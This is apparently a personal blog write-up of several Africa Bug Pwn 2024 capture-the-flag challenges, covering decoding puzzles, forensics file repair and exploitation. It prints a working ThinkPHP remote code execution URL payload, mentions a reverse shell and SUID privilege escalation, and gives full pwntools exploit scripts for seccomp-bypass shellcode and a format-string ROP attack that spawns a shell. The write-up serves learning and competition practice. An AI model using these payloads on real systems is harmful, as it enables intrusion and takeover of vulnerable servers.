Africa Bug Pwn 2024 Writeups
Recently I took part in the Africa Bug Pwn 2024 Capture the Flag Competition and managed to get second position with 2310 points. The CTF was very interesting and I got to learn a thing or two. This blog post will be a writeup of some of the challenges I managed to solve.
Catalog⌗
Invite⌗
From the Africa Bug Pwn Twitter page, we can see some interesting values which appear to be hex values.
After removing the spaces and decoding from hex using CyberChef, we get the following base64 encoded string as well as a URL pointing to an invite file.
After downloading the file, I checked the content inside the file as well as the filetype, we can see that the file is a gzip compressed
file
I gave the file a .gz
extension and decompressed it using gunzip
as follows. From the decompressed file, we get a bcrypt password hash as well as some hex values which appear to be encrypted with rc4
(note that it is written in reverse as 4cr
)
Cracking that hash with hashcat gives us the plaintext password as nohara
Using the password, we can decrypt the hex values using CyberChef , which gives us the flag
battleCTF{pwn2live_d7c51d9effacfe021fa0246e031c63e9116d8366875555771349d96c2cf0a60b}
Hmm⌗
This was an easy web challenge that required us to exploit a remote code execution vulnerability in ThinkPHP. Opening the challenge , we can see a simple website with the text Africa batttleCTF
Viewing the page source, we don’t see a lot of content as expected, however we can see that the website fetches some JavaScript from e.topthink.com
. Googling about it, I came across a framework known as think PHP which is vulnerable to a remote code execution vulnerability.
Googling for an exploit, I found a couple of them
This one is particular showed success, copying the highlighted payload and replacing the target, I was able to run arbitrary commands
http://chall.bugpwn.com:8083/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
After testing for command execution, I ran a payload to give me a reverse shell so that I could run commands interactively.
Searching for binaries with SUID properties, I came across /bin/dash
which I then abused to gain root privileges by running /bin/dash -p
. This command spawns a root shell as the root user
Agent47⌗
This challenge was a forensics challenge where a file Agent47
is provided to us. Running xxd on the file, I noted that the file header looks similar to a PNG image header, only slightly jumbled.
For instance, this is the header structure of a valid image
Comparing the headers with a valid PNG we can see that each two bytes of the provided file (Agent47
) are swapped, i.e the first byte is swapped with the second one, the third byte is swapped with the fourth and so on.
I wrote a python script to fix the image and output to a new file fixed_image.png
#! /usr/bin/python3
image_bytes=open('Agent47','rb').read()
# Fill the array with null bytes
final=[]
for i in range(len(image_bytes)):
final.append(b'\x00')
index=0
while index < len(image_bytes):
byte=image_bytes[index]
new_index=0
if ((index % 2) == 0):
new_index=index+1
else:
new_index=index-1
final[new_index] = byte
index+=1
byte_array = bytes(int(h) for h in final)
# Write bytes to a file
with open('./fixed_image.png', 'wb') as f:
f.write(byte_array)
Now, we can confirm if the file is indeed fixed and indeed, we can see that the new file is now a valid PNG file
Running strings on the fixed file, I came across an interesting string, From the description we were given a hint on something being done 47
times (ended up being 46 times).
r3FF>7s&vMzAa@1F:71d6Hc@FGD71;@1d8D;5pQehifcO
I tried running the string via rot47 with a key of 46 in cyberchef, which then gave me the flag
Jenkins⌗
This challenge was another simple web challenge. Visiting the provided URL , we could see the following login page.
Visiting the /oops
endpoint, we get the Jenkins version. This version is vulnerable to a arbitrary file read vulnerability
After confirming the site is vulnerable, we could abuse the lfi vulnerability to read the flag located at /etc/flag.txt
battleCTF{I_Tr4vEl_T0_battleCTF_3bb8a0f488816fc377fc0cde93f2e0b1d4c1f9fda09dfaa4962d44d5a09f8fdb}
Symphony⌗
Checking the file type of the file, we can see that the file is a txt file with some hex values. However the 2 X
symbols appear strange.
Checking for file signatures that match the first 2 bytes, we see RIFF/WAV
files are a perfect match
Now all we need to do is fix the weird bytes and replace them with 46
. We can also see that the bytes 57 41 56 45
are missing, so I also added them manually using a text editor.
However, the file is still not fixed yet, I download a sample WAV file to use for comparison, and we can see that some bytes(highlighted) are missing in our file. We can also add them manually in the area indicated by the arrow.
Cross-checking again, the file appears to be fine. Now all that is left is to convert the hex values into bytes and write them to a file.
I first removed the spaces between the hex values and used xxd to write the bytes to a file. Checking the filetype, we can see that the file is now valid.
Listening to the wav recording, i recognized it to be morse code , to decode the message, I use the morsecode.world
site to get the flag.
Universe⌗
Opening the binary in Ghidra, we see that the program creates a mapped region with mmap
and marks it as rwx
. The program also calls a function FUN_00101208
before accepting input (0x1000 bytes
) from the user one at a time and stores it in the mapped region. Once done, the program then executes the content in the mapped region as shellcode.
Checking the FUN_00101208
, we can see that it setups seccomp
rules to limit what syscalls are called. To view the allowed/disallowed rules, I used seccomp-tools
From the input above, we can see that syscalls such asopen,clone,fork,vfork,execve,creat,execveat
are restricted and therefore we need to find a way to read the flag without any of these syscalls. To bypass the checks, I used the openat
and sendfile
syscalls as follows
shellcode = shellcraft.openat(-100, "/flag.txt",0) # Open the target file and return the fd(3)
shellcode += shellcraft.sendfile(1, 3, 0x0, 4000) # Copy the fd(3) to stdout(1)
shellcode=asm(shellcode)
With this information, we can now build an exploit. We also need to remember that the program takes our input one byte at a time, so we have to create a loop to send each byte in our shellcode one by one
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.update(arch="amd64",os="linux")
filename = './universe'
e = elf = ELF(filename)
if args.REMOTE or args.remote:
target=remote("challenge.bugpwn.com",1004)
else:
target=process(filename)
target.recvuntil(b'What do you think of the universe?\n')
shellcode = shellcraft.openat(-100, "/flag.txt",0)
shellcode += shellcraft.sendfile(1, 3, 0x0, 4000)
shellcode=asm(shellcode)
# Fill remaining space with null bytes until our shellcode is 0x1000 bytes in len
payload=shellcode + b'\x00' * (0x1000-len(shellcode))
# Send each byte at a time
for i in range(0x1000):
target.send(chr(payload[i]))
target.interactive()
battleCTF{Are_W3_4l0ne_!n_7he_univ3rs3?_0e2899c65e58d028b0f553c80e5d413eeefef7af987fd4181e834ee6}
NtCrack⌗
This was an interesting Pwn challenge that took me a while to solve. Checking the file type of the binary provided, we can see that the binary is a 64-bit
binary that is not stripped. The binary also has no stack canaries but has RERLO, NX and PIE
enabled
Running the binary we can see that the application allows us to enter any NTLM hash after which it will query for the plaintext password in ntlm.pw
then return it to us.
Opening up the program in Ghidra, we see the main function accepts input and passes it to the curl_ntlm_pw
function. However, when the input is empty, the program prints No hash was provided ..
and exits. Also, we can see that there is a format string vulnerability at the printf indicated by the arrow
The curl_ntlm_pw
function just fetches the plaintext password and returns to the main function, hence the program runs in a loop.
There is also a callback function with the following code
Now that we know that the binary is vulnerable to a format string bug, we can enter a format string payload and try to see what addresses get leaked and how we can leverage them for exploitation.
We can clean up the output and show the offsets as shown below. I found interesting leaked address in the 72,73 and 75
offsets. In 72
, we leak a libc address, in 73
we leak the address of main and in 75
we leak a stack address.
We can confirm the leaked address point to the said locations using gdb
as follows.
Now that we confirmed that the format string vulnerability works, we need an address to write to since a format string vulnerability can be used to conduct and arbitrary write. Since the binary has FULL RELRO
, we can not overwrite GOT
entries. We could also overwrite the various hooks i.e (__free_hook,__malloc_hook
), but malloc and free are not called. In this case, we could find the return address of the function on the stack and overwrite that instead. But first, we need to determine the location of the return address from the leaked address. For this, I entered a dummy payload AAAABBBB
, then searched for its location on the stack.
After finding its location at 0xffffffffd9e0
, I found the return address at 0xffffffffda58
and then calculated the distance from the leaked address to this address (address of the return address), which I found to be 0x320
. To test whether this is indeed the return address, we can overwrite it with 0xdeadbeef
in gdb
as follows, then trigger an exit by continuing execution and submitting and empty hash after which we see a segmentation fault.
To exploit the vulnerability, we could write a python POC to print and parse the addresses as follows.
.....SNIP....
# Sending the format string
payload=b"%72$p|%73$p|%75$p|"
target.sendlineafter(b'\n',payload)
# Fetch the leaked addresses
target.recvuntil(b'Entrez le hash NTLM : ')
libc_leak,main_leak,stack_leak,_=target.recvuntil(b' ').split(b'|')
# Parse the addresses
libc_leak=int(libc_leak,0)
main=main_leak=int(main_leak,0)
stack_leak=int(stack_leak,0)
Using the addresses leaked, we can now calculate the following address:
- Base address of the binary to beat PIE
- Base address of libc to call a ROP chain to spawn a shell
- Libc address of
puts, system and /bin/sh string
- Location of the return address on the stack, which we will overwrite with our ROP chain
.....SNIP....
# Calculate the libc addresses
libc.address= libc_leak - libc.sym['_IO_2_1_stdout_']
elf.address= main_leak - 0x1485 # (elf.sym.main)
system=libc.sym['system']
puts=libc.sym['puts']
binsh=next(libc.search(b'/bin/sh\x00'))
return_address =stack_leak - 0x320
pop_rdi=elf.address + 0x00000000000012b1
# Print addresses
print(f"[*] libc_leak : {hex(libc_leak)}")
print(f"[*] main_leak : {hex(main_leak)}")
print(f"[*] stack_leak : {hex(stack_leak)}")
print(f"[*] elf base : {hex(elf.address)}")
print(f"[*] pop_rdi : {hex(pop_rdi)}\n")
print(f"[*] libc base : {hex(libc.address)}")
print(f"[*] system : {hex(system)}")
print(f"[*] puts : {hex(puts)}")
print(f"[*] binsh : {hex(binsh)}")
print(f"[*] return_address : {hex(return_address)}")
The next step is to find the injection point which we can find to be 6
in the screenshot below
We can now create a function to use in our arbitrary writes, then write puts(/bin/sh)
as follows.
I like to test with
puts
first before calling system
def write_payload(write_location,write_value):
payload=(fmtstr_payload(6, writes={write_location:write_value}))
target.sendline(payload)
target.recv()
# write pop_rdi
print(f"\n[*] Writing pop_rdi to ret: {hex(return_address)}")
write_payload(return_address,pop_rdi)
# write shell
print(f"[*] Writing /bin/sh to ret+8: {hex(return_address+8)}")
write_payload(return_address+8,binsh)
# write puts
print(f"[*] Writing puts to ret+16: {hex(return_address+8)}")
write_payload(return_address+16,puts)
Now that we get /bin/sh
printed in the response, we can add a ropchain to call system in our final script as follows
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.update(arch="amd64",os="linux")
filename = './ntc'
libc=ELF("./libc.so.6")
e = elf = ELF(filename)
if args.REMOTE or args.remote:
target=remote("docker.lab",5000)
else:
target=process(filename)
def write_payload(write_location,write_value):
payload=(fmtstr_payload(6, writes={write_location:write_value}))
target.sendline(payload)
target.recv()
"""
72 0x7ffff7ec25c0 - _IO_2_1_stdout_
73 0x555555555485 - main
75 0x7fffffffdd78 - somewhere in the stack
"""
# Sending the format string
payload=b"%72$p|%73$p|%75$p|"
target.sendlineafter(b'\n',payload)
# Fetch the leaked addresses
target.recvuntil(b'Entrez le hash NTLM : ')
libc_leak,main_leak,stack_leak,_=target.recvuntil(b' ').split(b'|')
# Parse the addresses
libc_leak=int(libc_leak,0)
main=main_leak=int(main_leak,0)
stack_leak=int(stack_leak,0)
# Calculate the libc addresses
libc.address= libc_leak - libc.sym['_IO_2_1_stdout_']
elf.address= main_leak - 0x1485 # (elf.sym.main)
system=libc.sym['system']
puts=libc.sym['puts']
binsh=next(libc.search(b'/bin/sh\x00'))
return_address =stack_leak - 0x320
pop_rdi=elf.address + 0x00000000000012b1
# Print addresses
print(f"[*] libc_leak : {hex(libc_leak)}")
print(f"[*] main_leak : {hex(main_leak)}")
print(f"[*] stack_leak : {hex(stack_leak)}")
print(f"[*] elf base : {hex(elf.address)}")
print(f"[*] pop_rdi : {hex(pop_rdi)}")
print(f"\n[*] libc base : {hex(libc.address)}")
print(f"[*] system : {hex(system)}")
print(f"[*] puts : {hex(puts)}")
print(f"[*] binsh : {hex(binsh)}")
print(f"[*] return_address : {hex(return_address)}")
# write pop_rdi
print(f"\n[*] Writing pop_rdi to ret: {hex(return_address)}")
write_payload(return_address,pop_rdi)
# write shell
print(f"[*] Writing /bin/sh to ret+8: {hex(return_address+8)}")
write_payload(return_address+8,binsh)
# write puts
print(f"[*] Writing puts to ret+16: {hex(return_address+8)}")
write_payload(return_address+16,puts)
# # write pop_rdi
print(f"\n\n[*] Calling System")
print(f"[*] Writing pop_rdi to ret+24: {hex(return_address+24)}")
write_payload(return_address+24,pop_rdi)
# # write shell
print(f"[*] Writing /bin/sh to ret+32: {hex(return_address+32)}")
write_payload(return_address+32,binsh)
# # write shell
print(f"[*] Writing /bin/sh to ret+40: {hex(return_address+40)}")
write_payload(return_address+40,system)
target.recv()
print(" ")
target.sendline(b"")
target.interactive()